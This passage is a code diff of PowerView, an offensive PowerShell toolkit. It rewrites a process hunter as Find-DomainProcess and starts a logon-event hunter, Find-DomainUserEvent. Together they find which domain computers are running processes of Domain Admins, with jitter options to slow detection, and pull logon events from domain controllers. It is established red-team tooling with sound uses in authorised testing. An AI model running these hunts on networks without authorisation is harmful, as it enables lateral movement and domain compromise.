- $ComputerFilter,
- [String]
- $ComputerADSpath,
+function Find-DomainProcess {
+<#
+.SYNOPSIS
- [String]
- $GroupName = 'Domain Admins',
+Searches for processes on the domain using WMI, returning processes
+that match a particular user specification or process name.
- [String]
- $TargetServer,
+Thanks to @paulbrandau for the approach idea.
- [String]
- $UserName,
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction
- [String]
- $UserFilter,
+.DESCRIPTION
- [String]
- $UserADSpath,
+This function enumerates all machines on the current (or specified) domain
+using Get-DomainComputer, and queries the domain for users of a specified group
+(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
+function enumerates any current processes running with Get-WMIProcess,
+searching for processes running under any target user contexts or with the
+specified -ProcessName. If -Credential is passed, it is passed through to
+the underlying WMI commands used to enumerate the remote machines.
- [ValidateScript({Test-Path -Path $_ })]
- [String]
- $UserFile,
+.PARAMETER ComputerName
- [Switch]
- $CheckAccess,
+Specifies an array of one or more hosts to enumerate, passable on the pipeline.
+If -ComputerName is not passed, the default behavior is to enumerate all machines
+in the domain returned by Get-DomainComputer.
- [Switch]
- $StopOnSuccess,
+.PARAMETER Domain
- [Switch]
- $NoPing,
+Specifies the domain to query for computers AND users, defaults to the current domain.
- [UInt32]
- $Delay = 0,
+.PARAMETER ComputerDomain
- [Double]
- $Jitter = .3,
+Specifies the domain to query for computers, defaults to the current domain.
- [String]
- $Domain,
+.PARAMETER ComputerLDAPFilter
- [Switch]
- $ShowAll,
+Specifies an LDAP query string that is used to search for computer objects.
- [Switch]
- $SearchForest,
+.PARAMETER ComputerSearchBase
- [String]
- [ValidateSet("DFS","DC","File","All")]
- $StealthSource ="All"
- )
- # kick off Invoke-UserHunter with stealth options
- Invoke-UserHunter -Stealth @PSBoundParameters
-}
+Specifies the LDAP source to search through for computers,
+e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
+.PARAMETER ComputerUnconstrained
-function Invoke-ProcessHunter {
-<#
- .SYNOPSIS
+Switch. Search computer objects that have unconstrained delegation.
- Query the process lists of remote machines, searching for
- processes with a specific name or owned by a specific user.
- Thanks to @paulbrandau for the approach idea.
-
- Author: @harmj0y
- License: BSD 3-Clause
+.PARAMETER ComputerOperatingSystem
- .PARAMETER ComputerName
+Search computers with a specific operating system, wildcards accepted.
- Host array to enumerate, passable on the pipeline.
+.PARAMETER ComputerServicePack
- .PARAMETER ComputerFile
+Search computers with a specific service pack, wildcards accepted.
- File of hostnames/IPs to search.
+.PARAMETER ComputerSiteName
- .PARAMETER ComputerFilter
+Search computers in the specific AD Site name, wildcards accepted.
- Host filter name to query AD for, wildcards accepted.
+.PARAMETER ProcessName
- .PARAMETER ComputerADSpath
+Search for processes with one or more specific names.
- The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+.PARAMETER UserIdentity
- .PARAMETER ProcessName
+Specifies one or more user identities to search for.
- The name of the process to hunt, or a comma separated list of names.
+.PARAMETER UserDomain
- .PARAMETER GroupName
+Specifies the domain to query for users to search for, defaults to the current domain.
- Group name to query for target users.
+.PARAMETER UserLDAPFilter
- .PARAMETER TargetServer
+Specifies an LDAP query string that is used to search for target users.
- Hunt for users who are effective local admins on a target server.
+.PARAMETER UserSearchBase
- .PARAMETER UserName
+Specifies the LDAP source to search through for target users.
+e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
- Specific username to search for.
+.PARAMETER UserGroupIdentity
- .PARAMETER UserFilter
+Specifies a group identity to query for target users, defaults to 'Domain Admins.
+If any other user specifications are set, then UserGroupIdentity is ignored.
- A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"
+.PARAMETER UserAdminCount
- .PARAMETER UserADSpath
+Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
- The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+.PARAMETER Server
- .PARAMETER UserFile
+Specifies an Active Directory server (domain controller) to bind to.
- File of usernames to search for.
+.PARAMETER SearchScope
- .PARAMETER StopOnSuccess
+Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
- Switch. Stop hunting after finding after finding a target user/process.
+.PARAMETER ResultPageSize
- .PARAMETER NoPing
+Specifies the PageSize to set for the LDAP searcher object.
- Switch. Don't ping each host to ensure it's up before enumerating.
+.PARAMETER ServerTimeLimit
- .PARAMETER Delay
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- Delay between enumerating hosts, defaults to 0
+.PARAMETER Tombstone
- .PARAMETER Jitter
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- Jitter for the host delay, defaults to +/- 0.3
+.PARAMETER Credential
- .PARAMETER Domain
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain and target systems.
- Domain for query for machines, defaults to the current domain.
+.PARAMETER StopOnSuccess
- .PARAMETER DomainController
+Switch. Stop hunting after finding after finding a target user.
- Domain controller to reflect LDAP queries through.
+.PARAMETER Delay
- .PARAMETER ShowAll
+Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
- Switch. Return all user location results.
+.PARAMETER Jitter
- .PARAMETER SearchForest
+Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
- Switch. Search all domains in the forest for target users instead of just
- a single domain.
+.PARAMETER Threads
- .PARAMETER Threads
+The number of threads to use for user searching, defaults to 20.
- The maximum concurrent threads to execute.
+.EXAMPLE
- .PARAMETER Credential
+Find-DomainProcess
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target machine/domain.
+Searches for processes run by 'Domain Admins' by enumerating every computer in the domain.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Invoke-ProcessHunter -Domain 'testing'
-
- Finds machines on the 'testing' domain where domain admins have a
- running process.
+Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
- .EXAMPLE
+Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
+privileged users in dev.testlab.local.
- PS C:\> Invoke-ProcessHunter -Threads 20
+.EXAMPLE
- Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded.
+Find-DomainProcess -ProcessName putty.exe
- .EXAMPLE
+Searchings for instances of putty.exe running on the current domain.
- PS C:\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt
-
- Finds machines in hosts.txt where any members of users.txt have running
- processes.
+.EXAMPLE
- .EXAMPLE
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Find-DomainProcess -Domain testlab.local -Credential $Cred
- PS C:\> Invoke-ProcessHunter -GroupName "Power Users" -Delay 60
-
- Find machines on the domain where members of the "Power Users" groups have
- running processes with a 60 second (+/- *.3) randomized delay between
- touching each host.
+Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials.
- .LINK
+.OUTPUTS
- http://blog.harmj0y.net
+PowerView.UserProcess
#>
- [CmdletBinding()]
- param(
- [Parameter(Position=0,ValueFromPipeline=$True)]
- [Alias('Hosts')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
+ [OutputType('PowerView.UserProcess')]
+ [CmdletBinding(DefaultParameterSetName = 'None')]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DNSHostName')]
[String[]]
$ComputerName,
- [ValidateScript({Test-Path -Path $_ })]
- [Alias('HostList')]
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerFile,
+ $Domain,
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerFilter,
+ $ComputerDomain,
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerADSpath,
+ $ComputerLDAPFilter,
+ [ValidateNotNullOrEmpty()]
[String]
- $ProcessName,
+ $ComputerSearchBase,
+
+ [Alias('Unconstrained')]
+ [Switch]
+ $ComputerUnconstrained,
+ [ValidateNotNullOrEmpty()]
+ [Alias('OperatingSystem')]
[String]
- $GroupName = 'Domain Admins',
+ $ComputerOperatingSystem,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ServicePack')]
[String]
- $TargetServer,
+ $ComputerServicePack,
+ [ValidateNotNullOrEmpty()]
+ [Alias('SiteName')]
[String]
- $UserName,
+ $ComputerSiteName,
+
+ [Parameter(ParameterSetName = 'TargetProcess')]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $ProcessName,
+ [Parameter(ParameterSetName = 'TargetUser')]
+ [Parameter(ParameterSetName = 'UserIdentity')]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $UserIdentity,
+
+ [Parameter(ParameterSetName = 'TargetUser')]
+ [ValidateNotNullOrEmpty()]
[String]
- $UserFilter,
+ $UserDomain,
+ [Parameter(ParameterSetName = 'TargetUser')]
+ [ValidateNotNullOrEmpty()]
[String]
- $UserADSpath,
+ $UserLDAPFilter,
- [ValidateScript({Test-Path -Path $_ })]
+ [Parameter(ParameterSetName = 'TargetUser')]
+ [ValidateNotNullOrEmpty()]
[String]
- $UserFile,
+ $UserSearchBase,
- [Switch]
- $StopOnSuccess,
+ [ValidateNotNullOrEmpty()]
+ [Alias('GroupName', 'Group')]
+ [String[]]
+ $UserGroupIdentity = 'Domain Admins',
+ [Parameter(ParameterSetName = 'TargetUser')]
+ [Alias('AdminCount')]
[Switch]
- $NoPing,
-
- [UInt32]
- $Delay = 0,
-
- [Double]
- $Jitter = .3,
+ $UserAdminCount,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $Domain,
+ $Server,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
- $DomainController,
+ $SearchScope = 'Subtree',
- [Switch]
- $ShowAll,
-
- [Switch]
- $SearchForest,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
- [ValidateRange(1,100)]
+ [ValidateRange(1, 10000)]
[Int]
- $Threads,
+ $ServerTimeLimit,
- [Management.Automation.PSCredential]
- $Credential
- )
+ [Switch]
+ $Tombstone,
- begin {
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
- if ($PSBoundParameters['Debug']) {
- $DebugPreference = 'Continue'
- }
+ [Switch]
+ $StopOnSuccess,
- # random object for delay
- $RandNo = New-Object System.Random
+ [ValidateRange(1, 10000)]
+ [Int]
+ $Delay = 0,
- Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay"
+ [ValidateRange(0.0, 1.0)]
+ [Double]
+ $Jitter = .3,
- #####################################################
- #
- # First we build the host target set
- #
- #####################################################
+ [Int]
+ [ValidateRange(1, 100)]
+ $Threads = 20
+ )
- # if we're using a host list, read the targets in and add them to the target list
- if($ComputerFile) {
- $ComputerName = Get-Content -Path $ComputerFile
+ BEGIN {
+ $ComputerSearcherArguments = @{
+ 'Properties' = 'dnshostname'
+ }
+ if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
+ if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
+ if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
+ if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
+ if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
+ if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
+ if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
+ if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
+
+ $UserSearcherArguments = @{
+ 'Properties' = 'samaccountname'
+ }
+ if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
+ if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
+ if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
+ if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
+ if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
+ if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
+
+
+ # first, build the set of computers to enumerate
+ if ($PSBoundParameters['ComputerName']) {
+ $TargetComputers = $ComputerName
}
-
- if(!$ComputerName) {
- [array]$ComputerName = @()
-
- if($Domain) {
- $TargetDomains = @($Domain)
- }
- elseif($SearchForest) {
- # get ALL the domains in the forest to search
- $TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $_.Name }
- }
- else {
- # use the local domain
- $TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name )
- }
-
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for hosts"
- $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath
- }
-
- # remove any null target hosts, uniquify the list and shuffle it
- $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
- if($($ComputerName.Count) -eq 0) {
- throw "No hosts found!"
- }
+ else {
+ Write-Verbose '[Find-DomainProcess] Querying computers in the domain'
+ $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
+ }
+ Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)"
+ if ($TargetComputers.Length -eq 0) {
+ throw '[Find-DomainProcess] No hosts found to enumerate'
}
- #####################################################
- #
- # Now we build the user target set
- #
- #####################################################
-
- if(!$ProcessName) {
- Write-Verbose "No process name specified, building a target user set"
-
- # users we're going to be searching for
- $TargetUsers = @()
-
- # if we want to hunt for the effective domain users who can access a target server
- if($TargetServer) {
- Write-Verbose "Querying target server '$TargetServer' for local users"
- $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object {
- ($_.AccountName).split("/")[1].toLower()
- } | Where-Object {$_}
+ # now build the user target set
+ if ($PSBoundParameters['ProcessName']) {
+ $TargetProcessName = @()
+ ForEach ($T in $ProcessName) {
+ $TargetProcessName += $T.Split(',')
}
- # if we get a specific username, only use that
- elseif($UserName) {
- Write-Verbose "[*] Using target user '$UserName'..."
- $TargetUsers = @( $UserName.ToLower() )
- }
- # read in a target user list if we have one
- elseif($UserFile) {
- $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_}
- }
- elseif($UserADSpath -or $UserFilter) {
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for users"
- $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {
- $_.samaccountname
- } | Where-Object {$_}
- }
- }
- else {
- ForEach ($Domain in $TargetDomains) {
- Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
- $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object {
- $_.MemberName
- }
- }
- }
-
- if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {
- throw "[!] No users found to search for!"
+ if ($TargetProcessName -isnot [System.Array]) {
+ $TargetProcessName = [String[]] @($TargetProcessName)
}
}
-
- # script block that enumerates a server
+ elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
+ $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
+ }
+ else {
+ $GroupSearcherArguments = @{
+ 'Identity' = $UserGroupIdentity
+ 'Recurse' = $True
+ }
+ if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
+ if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
+ if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
+ $GroupSearcherArguments
+ $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
+ }
+
+ # the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
- param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential)
-
- # optionally check if the server is up first
- $Up = $True
- if($Ping) {
- $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
- }
- if($Up) {
- # try to enumerate all active processes on the remote host
- # and search for a specific process name
- $Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue
-
- ForEach ($Process in $Processes) {
- # if we're hunting for a process name or comma-separated names
- if($ProcessName) {
- $ProcessName.split(",") | ForEach-Object {
- if ($Process.ProcessName -match $_) {
+ Param($ComputerName, $ProcessName, $TargetUsers, $Credential)
+
+ ForEach ($TargetComputer in $ComputerName) {
+ $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
+ if ($Up) {
+ # try to enumerate all active processes on the remote host
+ # and search for a specific process name
+ if ($Credential) {
+ $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue
+ }
+ else {
+ $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue
+ }
+ ForEach ($Process in $Processes) {
+ # if we're hunting for a process name or comma-separated names
+ if ($ProcessName) {
+ if ($ProcessName -Contains $Process.ProcessName) {
$Process
}
}
- }
- # if the session user is in the target list, display some output
- elseif ($TargetUsers -contains $Process.User) {
- $Process
+ # if the session user is in the target list, display some output
+ elseif ($TargetUsers -Contains $Process.User) {
+ $Process
+ }
}
}
}
}
-
}
- process {
+ PROCESS {
+ # only ignore threading if -Delay is passed
+ if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
- if($Threads) {
- Write-Verbose "Using threading with threads = $Threads"
-
- # if we're using threading, kick off the script block with Invoke-ThreadedFunction
- $ScriptParams = @{
- 'Ping' = $(-not $NoPing)
- 'ProcessName' = $ProcessName
- 'TargetUsers' = $TargetUsers
- 'Credential' = $Credential
- }
-
- # kick off the threaded script block + arguments
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
- }
-
- else {
- if(-not $NoPing -and ($ComputerName.count -ne 1)) {
- # ping all hosts in parallel
- $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
- $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
- }
-
- Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
+ Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)"
+ Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
+ $RandNo = New-Object System.Random
- ForEach ($Computer in $ComputerName) {
-
+ ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
- Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
- $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential
+ Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
+ $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential
$Result
- if($Result -and $StopOnSuccess) {
- Write-Verbose "[*] Target user/process found, returning early"
+ if ($Result -and $StopOnSuccess) {
+ Write-Verbose "[Find-DomainProcess] Target user found, returning early"
return
}
}
}
+ else {
+ Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads"
+
+ # if we're using threading, kick off the script block with New-ThreadedFunction
+ $ScriptParams = @{
+ 'ProcessName' = $TargetProcessName
+ 'TargetUsers' = $TargetUsers
+ 'Credential' = $Credential
+ }
+
+ # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
+ New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
+ }
}
}
-function Invoke-EventHunter {
+function Find-DomainUserEvent {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Finds logon events on the current (or remote domain) for the specified users.
+
+Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction
+
+.DESCRIPTION
+
+Enumerates all domain controllers from the specified -Domain
+(default of the local domain) using Get-DomainController, enumerates
+the logon events for each using Get-DomainUserEvent, and filters
+the results based on the targeting criteria.
+
+.PARAMETER ComputerName
+
+Specifies an explicit computer name to retrieve events from.
+
+.PARAMETER Domain
+
+Specifies a domain to query for domain controllers to enumerate.
+Defaults to the current domain.
+
+.PARAMETER Filter
+
+A hashtable of PowerView.LogonEvent properties to filter for.
+The 'op|operator|operation' clause can have '&', '|', 'and', or 'or',
+and is 'or' by default, meaning at least one clause matches instead of all.
+See the exaples for usage.
+
+.PARAMETER StartTime
+
+The [DateTime] object representing the start of when to collect events.
+Default of [DateTime]::Now.AddDays(-1).
+
+.PARAMETER EndTime
+
+The [DateTime] object representing the end of when to collect events.
+Default of [DateTime]::Now.
+
+.PARAMETER MaxEvents
- Queries all domain controllers on the network for account
- logon events (ID 4624) and TGT request events (ID 4768),
- searching for target users.
+The maximum number of events (per host) to retrieve. Default of 5000.
- Note: Domain Admin (or equiv) rights are needed to query
- this information from the DCs.
+.PARAMETER UserIdentity
- Author: @sixdub, @harmj0y
- License: BSD 3-Clause
+Specifies one or more user identities to search for.
- .PARAMETER ComputerName
+.PARAMETER UserDomain
- Host array to enumerate, passable on the pipeline.
+Specifies the domain to query for users to search for, defaults to the current domain.
- .PARAMETER ComputerFile
+.PARAMETER UserLDAPFilter
- File of hostnames/IPs to search.
+Specifies an LDAP query string that is used to search for target users.
- .PARAMETER ComputerFilter
+.PARAMETER UserSearchBase
- Host filter name to query AD for, wildcards accepted.
+Specifies the LDAP source to search through for target users.
+e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
- .PARAMETER ComputerADSpath
+.PARAMETER UserGroupIdentity
- The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+Specifies a group identity to query for target users, defaults to 'Domain Admins.
+If any other user specifications are set, then UserGroupIdentity is ignored.
- .PARAMETER GroupName
+.PARAMETER UserAdminCount
- Group name to query for target users.
+Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
- .PARAMETER TargetServer
+.PARAMETER Server
- Hunt for users who are effective local admins on a target server.
+Specifies an Active Directory server (domain controller) to bind to.
- .PARAMETER UserName
+.PARAMETER SearchScope
- Specific username to search for.
+Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
- .PARAMETER UserFilter
+.PARAMETER ResultPageSize
- A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"
+Specifies the PageSize to set for the LDAP searcher object.
- .PARAMETER UserADSpath
+.PARAMETER ServerTimeLimit
- The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- .PARAMETER UserFile
+.PARAMETER Tombstone
- File of usernames to search for.
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- .PARAMETER NoPing
+.PARAMETER Credential
- Don't ping each host to ensure it's up before enumerating.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target computer(s).
- .PARAMETER Domain
+.PARAMETER StopOnSuccess
- Domain for query for machines, defaults to the current domain.
+Switch. Stop hunting after finding after finding a target user.
- .PARAMETER DomainController
+.PARAMETER Delay
- Domain controller to reflect LDAP queries through.
+Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
- .PARAMETER SearchDays
+.PARAMETER Jitter
- Number of days back to search logs for. Default 3.
+Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
- .PARAMETER SearchForest
+.PARAMETER Threads
- Switch. Search all domains in the forest for target users instead of just
- a single domain.
+The number of threads to use for user searching, defaults to 20.
- .PARAMETER Threads
+.EXAMPLE
- The maximum concurrent threads to execute.
+Find-DomainUserEvent
- .PARAMETER Credential
+Search for any user events matching domain admins on every DC in the current domain.
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+.EXAMPLE
- .EXAMPLE
+$cred = Get-Credential dev\administrator
+Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john'
- PS C:\> Invoke-EventHunter
+Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local'
+domain controller using the alternate credential
- .LINK
+.EXAMPLE
- http://blog.harmj0y.net
+'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'}
+
+Find user events on the primary.testlab.local system where the event matches
+the IPAddress '192.168.52.200' or '192.168.52.201'.
+
+.EXAMPLE
+
+$cred = Get-Credential testlab\administrator
+Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'}
+
+Find user events mathing the specified GUID AND the specified TargetLogonId, searching
+through every domain controller in the current domain, enumerating each DC in serial
+instead of in a threaded manner, using the alternate credential.
+
+.OUTPUTS
+
+PowerView.LogonEvent
+
+PowerView.ExplicitCredentialLogon
+
+.LINK
+
+http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
- [CmdletBinding()]
- param(
- [Parameter(Position=0,ValueFromPipeline=$True)]
- [Alias('Hosts')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
+ [OutputType('PowerView.LogonEvent')]
+ [OutputType('PowerView.ExplicitCredentialLogon')]
+ [CmdletBinding(DefaultParameterSetName = 'Domain')]
+ Param(
+ [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('dnshostname', 'HostName', 'name')]
+ [ValidateNotNullOrEmpty()]
[String[]]
$ComputerName,
- [ValidateScript({Test-Path -Path $_ })]
- [Alias('HostList')]
+ [Parameter(ParameterSetName = 'Domain')]
+ [ValidateNotNullOrEmpty()]
[String]
- $ComputerFile,
+ $Domain,
- [String]
- $ComputerFilter,
+ [ValidateNotNullOrEmpty()]
+ [Hashtable]
+ $Filter,
- [String]
- $ComputerADSpath,
